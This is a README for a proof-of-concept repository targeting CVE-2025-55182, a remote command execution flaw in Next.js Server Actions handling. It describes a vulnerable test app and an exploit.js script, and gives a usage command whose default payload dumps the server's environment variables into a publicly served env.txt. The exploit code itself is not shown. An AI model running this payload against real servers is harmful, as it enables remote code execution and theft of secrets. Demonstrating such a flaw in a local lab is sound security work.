CVE-2025-55182 Nextjs POC

A small repository containing:

test-app/: a Next.js 16 (React 19) test application using the App Router.
exploit.js: a local proof-of-concept script used to demonstrate and test server behavior around multipart/Next-Action handling. Intended for local testing only.

Repository structure

rsc-test-app/
├─ README.md                # You are here
├─ exploit.js               # PoC script (local-only)
└─ test-app/                # Next.js application
   ├─ app/                  # App Router pages
   ├─ public/               # Static assets (and env.txt when generated)
   ├─ package.json          # Next 16 / React 19
   └─ README.md             # Default Next.js template README

Prerequisites

Node.js 18+ recommended (tested with Node 22)
npm (or your preferred package manager)

Getting started (Next.js app)

Install dependencies:

cd test-app
npm install

Run the dev server:

npm run dev
# App will be available at http://localhost:3000

Build and start (production):

npm run build
npm start

Local PoC script: exploit.js

This script crafts a multipart request with a Next-Action header to exercise server behavior. By default, it attempts to execute a command on the server process that writes the environment to public/env.txt (for demonstration in a local/dev environment).

Important notes:

This is for local testing only. Do not use against systems you do not own or have permission to test.
The script assumes the server working directory aligns so that public/ resolves under test-app/public/.

Usage

In a separate terminal, ensure the Next.js app is running at http://localhost:3000:

cd test-app
npm run dev

From the repository root, run the script:

node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"

Parameters:

Base URL (optional): defaults to http://localhost:3000.
Command (optional): defaults to sh -lc 'printenv > public/env.txt'.

After running, check for the generated file:

by accessing

http://localhost:3000/env.txt

And there you have the env variables of the server.

CVE-2025-55182